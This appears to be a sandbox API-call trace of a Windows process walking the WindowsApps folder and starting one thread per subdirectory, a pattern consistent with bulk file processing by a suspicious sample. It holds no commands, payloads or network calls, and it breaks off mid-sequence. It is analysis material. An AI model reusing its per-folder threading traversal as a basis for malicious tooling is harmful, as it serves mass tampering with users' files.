	[0073.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.745] wcscmp (_String1=".", _String2=".") returned 0
	[0073.745] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.751] wcscmp (_String1="..", _String2=".") returned 1
	[0073.751] wcscmp (_String1="..", _String2="..") returned 0
	[0073.751] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x223c89ad, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa93a9ec0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm", cAlternateFileName="9E2F88~1.0_X")) returned 1
	[0073.751] wcscmp (_String1="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm", _String2=".") returned 1
	[0073.751] wcscmp (_String1="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm", _String2="..") returned 1
	[0073.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2d5b2a8
	[0073.751] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.751] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.751] wcscat (in: _Dest=0x2d5b2a8, _Source="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0073.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5b2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0073.752] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deleted", cAlternateFileName="")) returned 1
	[0073.752] wcscmp (_String1="Deleted", _String2=".") returned 1
	[0073.752] wcscmp (_String1="Deleted", _String2="..") returned 1
	[0073.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d85de8
	[0073.752] wcscpy (in: _Dest=0x2d85de8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.752] wcscat (in: _Dest=0x2d85de8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.752] wcscat (in: _Dest=0x2d85de8, _Source="Deleted" | out: _Dest="C:\\Program Files\\WindowsApps\\Deleted") returned="C:\\Program Files\\WindowsApps\\Deleted"
	[0073.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0073.753] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_N")) returned 1
	[0073.753] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.753] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d340
	[0073.753] wcscpy (in: _Dest=0x2d7d340, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.753] wcscat (in: _Dest=0x2d7d340, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.753] wcscat (in: _Dest=0x2d7d340, _Source="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe"
	[0073.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0073.753] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_X")) returned 1
	[0073.753] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.753] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d62760
	[0073.754] wcscpy (in: _Dest=0x2d62760, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.754] wcscat (in: _Dest=0x2d62760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.754] wcscat (in: _Dest=0x2d62760, _Source="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0073.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d62760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0073.755] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_X")) returned 1
	[0073.755] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.755] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d6d8
	[0073.755] wcscpy (in: _Dest=0x2d7d6d8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.755] wcscat (in: _Dest=0x2d7d6d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.755] wcscat (in: _Dest=0x2d7d6d8, _Source="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0073.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0073.756] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_X")) returned 1
	[0073.756] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.756] wcscmp (_String1="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7dbe0
	[0073.756] wcscpy (in: _Dest=0x2d7dbe0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.756] wcscat (in: _Dest=0x2d7dbe0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.756] wcscat (in: _Dest=0x2d7dbe0, _Source="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0073.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7dbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0073.757] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MIBC7F~1.0_N")) returned 1
	[0073.757] wcscmp (_String1="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.757] wcscmp (_String1="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d628c0
	[0073.757] wcscpy (in: _Dest=0x2d628c0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.757] wcscat (in: _Dest=0x2d628c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.757] wcscat (in: _Dest=0x2d628c0, _Source="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0073.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d628c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0073.758] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI0B0E~1.0_N")) returned 1
	[0073.758] wcscmp (_String1="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.758] wcscmp (_String1="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d62e78
	[0073.758] wcscpy (in: _Dest=0x2d62e78, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.758] wcscat (in: _Dest=0x2d62e78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.758] wcscat (in: _Dest=0x2d62e78, _Source="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe"
	[0073.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d62e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0073.759] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIACEC~1.0_N")) returned 1
	[0073.759] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.759] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d1d0
	[0073.759] wcscpy (in: _Dest=0x2d7d1d0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.759] wcscat (in: _Dest=0x2d7d1d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.759] wcscat (in: _Dest=0x2d7d1d0, _Source="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0073.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0073.760] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0B51~1.0_X")) returned 1
	[0073.760] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.760] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f850
	[0073.760] wcscpy (in: _Dest=0x2d7f850, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.760] wcscat (in: _Dest=0x2d7f850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.760] wcscat (in: _Dest=0x2d7f850, _Source="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0073.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0073.761] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIADDF~1.0_N")) returned 1
	[0073.761] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.761] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d62080
	[0073.761] wcscpy (in: _Dest=0x2d62080, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.761] wcscat (in: _Dest=0x2d62080, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.761] wcscat (in: _Dest=0x2d62080, _Source="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0073.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d62080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0073.762] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI13A6~1.0_X")) returned 1
	[0073.762] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.762] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.762] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7f9a0
	[0073.762] wcscpy (in: _Dest=0x2d7f9a0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.762] wcscat (in: _Dest=0x2d7f9a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.762] wcscat (in: _Dest=0x2d7f9a0, _Source="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0073.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0073.763] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI90D7~1.0_N")) returned 1
	[0073.763] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.763] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61a50
	[0073.763] wcscpy (in: _Dest=0x2d61a50, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.763] wcscat (in: _Dest=0x2d61a50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.763] wcscat (in: _Dest=0x2d61a50, _Source="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0073.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d61a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0073.764] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI689D~1.0_X")) returned 1
	[0073.764] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.764] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f310
	[0073.764] wcscpy (in: _Dest=0x2d7f310, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.764] wcscat (in: _Dest=0x2d7f310, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
